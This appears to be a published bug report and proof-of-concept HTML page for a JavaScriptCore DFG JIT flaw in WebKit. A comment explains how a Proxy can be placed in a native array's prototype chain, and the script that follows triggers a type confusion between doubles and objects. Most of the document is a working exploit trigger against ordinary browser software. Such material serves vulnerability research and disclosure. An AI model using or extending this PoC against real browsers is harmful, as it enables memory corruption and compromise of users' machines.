1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 |
<!-- Bug: void JSObject::setPrototypeDirect(VM& vm, JSValue prototype) { ASSERT(prototype); if (prototype.isObject()) prototype.asCell()->didBecomePrototype(); if (structure(vm)->hasMonoProto()) { DeferredStructureTransitionWatchpointFire deferred(vm, structure(vm)); Structure* newStructure = Structure::changePrototypeTransition(vm, structure(vm), prototype, deferred); setStructure(vm, newStructure); } else putDirect(vm, knownPolyProtoOffset, prototype); if (!anyObjectInChainMayInterceptIndexedAccesses(vm)) return; if (mayBePrototype()) { structure(vm)->globalObject()->haveABadTime(vm); return; } if (!hasIndexedProperties(indexingType())) return; if (shouldUseSlowPut(indexingType())) return; switchToSlowPutArrayStorage(vm); } JavaScriptCore doesn't allow native arrays to have Proxy objects as prototypes. If we try to set the prototype of an array to a Proxy object, it will end up calling either switchToSlowPutArrayStorage or haveABadTime in the above method. switchToSlowPutArrayStorage will transition the array to a SlowPutArrayStorage array. And haveABadTime will call switchToSlowPutArrayStorage on every object in the VM on a first call. Since subsequent calls to haveABadTime won't have any effect, with two global objects we can create an array having a Proxy object in the prototype chain. Exploit: case HasIndexedProperty: { ArrayMode mode = node->arrayMode(); switch (mode.type()) { case Array::Int32: case Array::Double: case Array::Contiguous: case Array::ArrayStorage: { break; } default: { clobberWorld(); break; } } setNonCellTypeForNode(node, SpecBoolean); break; } From: https://github.com/WebKit/webkit/blob/9ca43a5d4bd8ff63ee7293cac8748d564bd7fbbd/Source/JavaScriptCore/dfg/DFGAbstractInterpreterInlines.h#L3481 The above routine is based on the assumption that if the input array is a native array, it can't intercept indexed accesses therefore it will have no side effects. But actually we can create such arrays which break that assumption making it exploitable. PoC: --> <body> <script> function opt(arr, arr2) { arr[1] = 1.1; let tmp = 0 in arr2; arr[0] = 2.3023e-320; return tmp; } function main() { let o = document.body.appendChild(document.createElement('iframe')).contentWindow; // haveABadTime o.eval(<code> let p = new Proxy({}, {}); let a = {__proto__: {}}; a.__proto__.__proto__ = p; </code>); let arr = [1.1, 2.2]; let arr2 = [1.1, 2.2]; let proto = new o.Object(); let handler = {}; arr2.__proto__ = proto; proto.__proto__ = new Proxy({}, { has() { arr[0] = {}; return true; } }); for (let i = 0; i < 10000; i++) { opt(arr, arr2); } setTimeout(() => { delete arr2[0]; opt(arr, arr2); alert(arr[0]); }, 500); } main(); </script> </body> |